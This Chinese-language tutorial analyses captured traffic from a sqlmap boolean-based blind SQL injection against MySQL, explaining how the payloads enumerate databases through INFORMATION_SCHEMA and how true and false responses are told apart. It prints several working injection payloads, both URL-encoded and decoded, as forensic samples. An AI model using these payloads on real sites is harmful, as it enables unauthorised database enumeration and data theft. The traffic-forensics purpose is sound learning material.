bool盲注:就是在服务器没有错误回显时完成的注入攻击。服务器没有错误回显,但是,根据攻击输入的语句服务器会返回不同的页面,在攻击者输入没有语法错误的sql语句时,服务器返回正常的页面,当攻击者输入错误的sql语句时,服务器返回一个不正常的页面,于是我们可以利用页面的返回信息作为一个判断条件进行注入利用。

    下面不妨让我们来看一段珍贵无比的流量,走入一次bool盲注的分析
    这里是以mysql为例

    bool.rar

    因为已知攻击者是在进行注入攻击,所以我们直接在过滤器中检索http流量即可。
    image.png
    我们可以在UA中看到sqlmap字符串。
    随后进入分析阶段,已知为sql注入,我们则需要判断为显注,还是盲注。
    是否为显注,可以通过payload 以及页面的回显进行分析。
    image.png
    根据payload:
    布尔盲注的话,sqlmap需要根据不同的页面回显进行确认,返回的内容是否为true。
    所以可以得出一个比较靠谱的结论,返回为false的内容页面一定比返回为true的页面要多。(除非是欧皇)
    其次,在bool盲注中最常见的,或者说mysql注入中常见的使用INFORMATION_SCHEMA表来判断值是多少。
    大家注意看这个payload:

    id=1’ AND ORD(MID( (SELECT IFNULL(CAST(COUNT(DISTINCT(schema_name)) AS NCHAR),0x20) FROM INFORMATION_SCHEMA.SCHEMATA),1,1))>51 AND ‘lMwX’=’lMwX

    首先分析payload里面的子查询与函数
    ORD() 函数返回字符串第一个字符的 ASCII 值。
    MID() 函数用于得到一个字符串的一部分MID(‘abcd’,1,1)。类似切片
    IFNULL() 函数用于判断第一个表达式是否为 NULL,如果为 NULL 则返回第二个参数的值,如果不为 NULL 则返回第一个参数的值。
    CAST()函数可用来获取一个类型的值,并产生另一个类型的值。CAST(value as type);
    count(distinct expr,[expr….]):返回不同的非NULL值的行的数目。

    NCHAR、NVARCHAR、NTEXT。这三种从名字上看比前面三种多了个“N”。它表示存储的是Unicode数据类型的字符。我们知道字符中,英文字符只需要一个字节存储就足够了,但汉字众多,需要两个字节存储,英文与汉字同时存在时容易造成混乱,Unicode字符集就是为了解决字符集这种不兼容的问题而产生的,它所有的字符都用两个字节表示,即英文字符也是用两个字节表示
    SCHEMATA表:提供了当前mysql实例中所有数据库的信息。SHOW DATABASES 命令从这个表获取数据。
    image.png
    所以根据上述的payload 可以得出一个值 为4
    image.png
    随后取4的ASCII码与51进行比较,然后51在ASCII码中的值为3,4>3 所以响应为true
    image.png
    那么随后的payload的流程就可以按照这个方法来进行解读:

    1. id=1%27%20AND%20ORD%28MID%28%28SELECT%20IFNULL%28CAST%28COUNT%28DISTINCT%28schema_name%29%29%20AS%20NCHAR%29%2C0x20%29%20FROM%20INFORMATION_SCHEMA.SCHEMATA%29%2C1%2C1%29%29%3E51%20AND%20%27lMwX%27%3D%27lMwX
    2. id=1%27%20AND%20ORD%28MID%28%28SELECT%20IFNULL%28CAST%28COUNT%28DISTINCT%28schema_name%29%29%20AS%20NCHAR%29%2C0x20%29%20FROM%20INFORMATION_SCHEMA.SCHEMATA%29%2C1%2C1%29%29%3E54%20AND%20%27lMwX%27%3D%27lMwX
    3. id=1%27%20AND%20ORD%28MID%28%28SELECT%20IFNULL%28CAST%28COUNT%28DISTINCT%28schema_name%29%29%20AS%20NCHAR%29%2C0x20%29%20FROM%20INFORMATION_SCHEMA.SCHEMATA%29%2C1%2C1%29%29%3E52%20AND%20%27lMwX%27%3D%27lMwX
    4. id=1%27%20AND%20ORD%28MID%28%28SELECT%20IFNULL%28CAST%28COUNT%28DISTINCT%28schema_name%29%29%20AS%20NCHAR%29%2C0x20%29%20FROM%20INFORMATION_SCHEMA.SCHEMATA%29%2C1%2C1%29%29%3E53%20AND%20%27lMwX%27%3D%27lMwX
    5. id=1%27%20AND%20ORD%28MID%28%28SELECT%20IFNULL%28CAST%28COUNT%28DISTINCT%28schema_name%29%29%20AS%20NCHAR%29%2C0x20%29%20FROM%20INFORMATION_SCHEMA.SCHEMATA%29%2C2%2C1%29%29%3E51%20AND%20%27lMwX%27%3D%27lMwX
    6. 解码后:
    7. id=1' AND ORD(MID((SELECT IFNULL(CAST(COUNT(DISTINCT(schema_name)) AS NCHAR),0x20) FROM INFORMATION_SCHEMA.SCHEMATA),1,1))>51 AND 'lMwX'='lMwX
    8. id=1' AND ORD(MID((SELECT IFNULL(CAST(COUNT(DISTINCT(schema_name)) AS NCHAR),0x20) FROM INFORMATION_SCHEMA.SCHEMATA),1,1))>54 AND 'lMwX'='lMwX
    9. id=1' AND ORD(MID((SELECT IFNULL(CAST(COUNT(DISTINCT(schema_name)) AS NCHAR),0x20) FROM INFORMATION_SCHEMA.SCHEMATA),1,1))>52 AND 'lMwX'='lMwX
    10. id=1' AND ORD(MID((SELECT IFNULL(CAST(COUNT(DISTINCT(schema_name)) AS NCHAR),0x20) FROM INFORMATION_SCHEMA.SCHEMATA),1,1))>53 AND 'lMwX'='lMwX
    11. id=1' AND ORD(MID((SELECT IFNULL(CAST(COUNT(DISTINCT(schema_name)) AS NCHAR),0x20) FROM INFORMATION_SCHEMA.SCHEMATA),2,1))>51 AND 'lMwX'='lMwX

    也就是说,当前sqlmap在判断SELECT IFNULL(CAST(COUNT(DISTINCT(schema_name)) AS NCHAR),0x20) FROM ``INFORMATION_SCHEMA.SCHEMATA所查询出来的语句的值是是多少,因为可能存在两位数的数据库,所以才会有最后一个payload,也就是MID(x,2,1)。
    明白了以后我们就可以根据当前的payload以及返回的内容的长度来进行判断,判断这一次注入是否成功。
    image.png
    虽然道理我都懂,但是这里 4>5为什么会返回 true呢?
    为什么会 4 > 5 返回true呢?
    为什么会 4 > 5 返回true呢?
    为什么会 4 > 5 返回true呢?
    为什么会 4 > 5 返回true呢?
    为什么会 4 > 5 返回true呢?
    为什么会 4 > 5 返回true呢?
    为什么会 4 > 5 返回true呢?
    为什么会 4 > 5 返回true呢?
    为什么会 4 > 5 返回true呢?
    为什么会 4 > 5 返回true呢?
    image.png

    2021-03-26 00:38:00 看到这里的你一定惊呆了。这是为什么呢?
    因为这一段语句,他并不是在我当时注入的环境下测试的内容
    image.png
    也就是说,根据流量来看,目标站点的裤子是6个裤子,也就是 53 < x < 54
    然而刚刚我的,还在群里和朋友试图理论mysql为什么错了?为什么会这样?
    原来小丑是我自己 原来代码不会骗人,女人才会
    image.png
    这也告诉我一个大问题,以后在做实验确认某事的时候,需要首先确认当前的环境是否为可靠、相同的环境

    根据上述流程,我们确认了一次在流量中bool盲注的判断,也就是需要分析payload,检查当前判断true、false的条件是什么?true、false的页面大小、特征是什么。最后根据响应的结果,进行整理。